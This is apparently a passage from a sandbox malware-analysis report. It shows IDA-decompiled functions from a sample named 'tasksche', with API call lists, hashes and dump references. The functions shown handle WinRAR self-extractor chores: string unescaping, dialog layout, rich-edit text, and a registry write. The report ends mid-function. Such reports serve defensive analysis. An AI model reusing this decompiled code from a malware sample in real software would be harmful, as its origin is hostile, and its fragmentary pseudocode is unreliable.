							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bceb
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004335BC,0040C3B4,0041005C,00439820,0041005C,00439820), ref: 0040BC67
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
Part of subcall function 00408BAE: GetLastError.KERNEL32(?,?), ref: 00408BEE

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

*messages***, xrefs: 0040BD39
a, xrefs: 0040BD82
*messages***, xrefs: 0040BD6B

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0040C15C(intOrPtr __ecx, void* __edx, void* __eflags, signed int _a4, intOrPtr _a8, struct HWND__* _a12) {
				char _v5;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				struct tagRECT _v52;
				struct tagRECT _v68;
				struct tagRECT _v84;
				short _v2132;
				signed int _t115;
				struct HWND__* _t117;
				signed int _t135;
				signed int _t159;
				struct HWND__* _t173;
				signed int _t174;
				int _t177;
				void* _t181;
				signed int _t182;
				signed int _t185;
				signed int _t194;
				void* _t196;
				void* _t197;
				void* _t200;
				int _t201;
				int _t204;

				_v36 = __ecx;
				_v5 = E0040C075(__ecx, __edx, _a8,  &_v20,  &_v16);
				GetWindowRect(_a4,  &_v52);
				GetClientRect(_a4,  &_v84);
				_t115 = _v84.right;
				_t181 = _v52.right - _v52.left + 1;
				_t200 = _v52.bottom - _v52.top + 1;
				_t196 = _t200 - _v84.bottom;
				_t173 = _t181 - _t115;
				_v12 = _t173;
				if(_v5 == 0) {
					L9:
					_t201 = 0x400;
					if(_a12 == 0) {
						GetWindowTextW(_a4,  &_v2132, 0x400);
						E0040BF1D(_v36,  &_v2132,  &_v2132, 0x400, 1, _a8);
						SetWindowTextW(_a4,  &_v2132); // executed
					}
					L12:
					_t197 = _t196 - GetSystemMetrics(8);
					_t117 = GetWindow(_a4, 5);
					_a4 = _a4 & 0x00000000;
					_a12 = _t117;
					_v12 = _t117;
					while(_t117 != 0) {
						if(_a4 >= 0x200) {
							break;
						}
						GetWindowTextW(_a12,  &_v2132, _t201);
						if(_v2132 != 0) {
							E0040BF1D(_v36,  &_v2132,  &_v2132, _t201, 1, _a8);
							SetWindowTextW(_a12,  &_v2132); // executed
						}
						if(_v5 != 0) {
							GetWindowRect(_a12,  &_v68);
							_push(0x204);
							asm("cdq");
							_t182 = 0x64;
							_push((_v68.bottom - _v68.top + 1) * _v16 / _t182);
							asm("cdq");
							_push((_v68.right - _v68.left + 1) * _v20 / _t182);
							_t135 = (_v68.top - _t197 - _v52.top) * _v16;
							asm("cdq");
							_push(_t135 / _t182);
							asm("cdq");
							_t185 = 0x64;
							asm("cdq");
							SetWindowPos(_a12, 0, (_v68.left - (_t173 - _t135 % _t182 >> 1) - _v52.left) * _v20 / _t185, ??, ??, ??, ??);
						}
						_t117 = GetWindow(_a12, 2);
						_a12 = _t117;
						if(_t117 == _v12) {
							break;
						} else {
							_a4 = _a4 + 1;
							continue;
						}
					}
					return _t117;
				}
				if(_a12 != 0) {
					_t201 = 0x400;
					goto L12;
				}
				asm("cdq");
				_t174 = 0x64;
				_v24 = _v12 + _t115 * _v20 / _t174;
				_t159 = _v84.bottom * _v16;
				asm("cdq");
				_t194 = _t159 % _t174;
				_v28 = _t159 / _t174 + _t196;
				asm("cdq");
				_t177 = (_t181 - _v24 - _t194 >> 1) + _v52.left;
				asm("cdq");
				_t204 = (_t200 - _v28 - _t194 >> 1) + _v52.top;
				if(_t177 < 0) {
					_t177 = 0;
				}
				if(_t204 < 0) {
					_t204 = 0;
				}
				_v32 = 0x204;
				if((GetWindowLongW(_a4, 0xfffffff0) & 0x00000800) == 0) {
					_v32 = 0x206;
				}
				SetWindowPos(_a4, 0, _t177, _t204, _v24, _v28, _v32);
				GetWindowRect(_a4,  &_v52);
				_t173 = _v12;
				goto L9;
			}

0x0040c173
0x0040c17b
0x0040c185
0x0040c192
0x0040c1a4
0x0040c1a7
0x0040c1a8
0x0040c1ad
0x0040c1b0
0x0040c1b6
0x0040c1b9
0x0040c258
0x0040c25c
0x0040c261
0x0040c26e
0x0040c285
0x0040c294
0x0040c294
0x0040c2a1
0x0040c2ae
0x0040c2b0
0x0040c2b6
0x0040c2ba
0x0040c2bd
0x0040c399
0x0040c2cc
0x00000000
0x00000000
0x0040c2dd
0x0040c2eb
0x0040c2fe
0x0040c30d
0x0040c30d
0x0040c317
0x0040c320
0x0040c32c
0x0040c336
0x0040c339
0x0040c33c
0x0040c348
0x0040c34b
0x0040c354
0x0040c358
0x0040c35b
0x0040c35e
0x0040c373
0x0040c374
0x0040c37d
0x0040c37d
0x0040c388
0x0040c38e
0x0040c394
0x00000000
0x0040c396
0x0040c396
0x00000000
0x0040c396
0x0040c394
0x0040c3a5
0x0040c3a5
0x0040c1c3
0x0040c29c
0x00000000
0x0040c29c
0x0040c1cd
0x0040c1d0
0x0040c1d6
0x0040c1dc
0x0040c1e0
0x0040c1e1
0x0040c1e5
0x0040c1ed
0x0040c1f9
0x0040c1fc
0x0040c203
0x0040c208
0x0040c20a
0x0040c20a
0x0040c20e
0x0040c210
0x0040c210
0x0040c217
0x0040c229
0x0040c22b
0x0040c22b
0x0040c242
0x0040c24f
0x0040c255
0x00000000

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

GetWindowRect.USER32 ref: 0040C185
GetClientRect.USER32 ref: 0040C192
GetWindowLongW.USER32(?,000000F0), ref: 0040C21E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C242
GetWindowRect.USER32 ref: 0040C24F
GetWindowTextW.USER32 ref: 0040C26E
SetWindowTextW.USER32(?,?), ref: 0040C294
GetSystemMetrics.USER32 ref: 0040C2A3
GetWindow.USER32(?,00000005), ref: 0040C2B0
GetWindowTextW.USER32 ref: 0040C2DD
SetWindowTextW.USER32(00000000,00000000), ref: 0040C30D
GetWindowRect.USER32 ref: 0040C320
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C37D
GetWindow.USER32(00000000,00000002), ref: 0040C388

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
API String ID: 4134264131-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D298 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D298(char _a4, long _a8) {
				struct HWND__* _v8;
				char _v75;
				intOrPtr _v80;
				signed int _v92;
				int _v96;
				void* _v100;
				intOrPtr _t48;
				struct HWND__* _t49;

				_t49 = GetDlgItem( *0x441844, 0x68);
				_v8 = _t49;
				if( *0x441848 == 0) {
					_t48 =  *0x438814; // 0x19fe80
					E0041918B(_t48);
					ShowWindow(_t49, 5); // executed
					SendMessageW(_t49, 0xb1, 0, 0xffffffff);
					SendMessageW(_t49, 0xc2, 0, 0x42a73c);
					 *0x441848 = 1;
				}
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				_v100 = 0x5c;
				SendMessageW(_v8, 0x43a, 0,  &_v100);
				_v75 = 0;
				_v96 = 1;
				if(_a4 != 0) {
					_v92 = _v92 & 0xbfffffff | 1;
					_v80 = 0xa0;
					_v96 = 0x40000001;
				}
				SendMessageW(_v8, 0x444, 1,  &_v100);
				SendMessageW(_v8, 0xc2, 0, _a8);
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_a4 != 0) {
					_v92 = _v92 & 0xfffffffe | 0x40000000;
					SendMessageW(_v8, 0x444, 1,  &_v100);
				}
				return SendMessageW(_v8, 0xc2, 0, L"\r\n");
			}

0x0040d2bc
0x0040d2be
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d6
0x0040d2e2
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d305
0x0040d315
0x0040d31c
0x0040d325
0x0040d329
0x0040d32c
0x0040d339
0x0040d33c
0x0040d343
0x0040d343
0x0040d357
0x0040d366
0x0040d36e
0x0040d374
0x0040d381
0x0040d392
0x0040d392
0x0040d3a9

APIs

GetDlgItem.USER32 ref: 0040D2A9
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D305
SendMessageW.USER32(0040639B,0000043A,00000000,?), ref: 0040D31C
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D357
SendMessageW.USER32(0040639B,000000C2,00000000,00000456), ref: 0040D366
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D36E
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D392
SendMessageW.USER32(0040639B,000000C2,00000000,0042A810), ref: 0040D3A3

Part of subcall function 0041918B: DestroyWindow.USER32(?,742BBB20,0040D2D3,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30), ref: 00419196

Strings

\, xrefs: 0040D315

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction ID: 06257c9e161764c7d53c24ae9c51dbab41789d270eb5449b748dea2bf3ac4db1
Opcode Fuzzy Hash: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction Fuzzy Hash: C431B170E4025CBBEB219BA0CC4AFAEBFB9EB41714F10412AF500BA1E0D7B51D55DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0041A060(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				void* _t12;
				void* _t15;
				struct HINSTANCE__** _t16;

				_t16 = __ecx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *__ecx =  *__ecx & 0x00000000;
				_t7 = LoadLibraryW(L"riched32.dll"); // executed
				 *_t16 = _t7;
				_t8 = LoadLibraryW(L"riched20.dll");
				_t16[1] = _t8;
				__imp__OleInitialize(0, _t12, _t15, __ecx, __ecx);
				_v12 = 8;
				_v8 = 0x7ff;
				__imp__InitCommonControlsEx( &_v12);
				__imp__SHGetMalloc(0x44f800); // executed
				return _t16;
			}

0x0041a06d
0x0041a06f
0x0041a073
0x0041a07b
0x0041a082
0x0041a084
0x0041a088
0x0041a08b
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ae
0x0041a0b9

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00439820,?,?,?,00410051), ref: 0041A07B
LoadLibraryW.KERNEL32(riched20.dll,?,00410051), ref: 0041A084
OleInitialize.OLE32(00000000), ref: 0041A08B
InitCommonControlsEx.COMCTL32(?), ref: 0041A0A3
SHGetMalloc.SHELL32(0044F800), ref: 0041A0AE

Strings

riched32.dll, xrefs: 0041A076
riched20.dll, xrefs: 0041A07D

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				long _t20;
				intOrPtr _t27;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0) {
					_t27 =  *0x438818; // 0x43
					if(_t27 != 0) {
						E0040DA4F( &_v4108, "C:\Windows");
						_t12 = RegCreateKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 0, 0, 0x20006, 0,  &_v8,  &_v12); // executed
						if(_t12 == 0) {
							RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2); // executed
							_t20 = RegCloseKey(_v8); // executed
							return _t20;
						}
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040daa4
0x0040daab
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x0040db0b
0x00000000
0x0040db0b
0x0040dae2
0x0040daab
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,C:\Windows), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.KERNELBASE(?), ref: 0040DB0B

Strings

Software\WinRAR SFX, xrefs: 0040DACF
C:\Windows, xrefs: 0040DAA4, 0040DAAE

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: C:\Windows$Software\WinRAR SFX
API String ID: 3170333323-1036045337
Opcode ID: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x44f848); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C(GetLastError());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5
Part of subcall function 0041EFA3: EnterCriticalSection.KERNEL32(0041A9AB,0041A9AB,?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001), ref: 0041EFCD

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00411119(void* __ecx) {
				long* _t16;
				void** _t19;
				void* _t21;

				_t17 = __ecx;
				_t21 = __ecx;
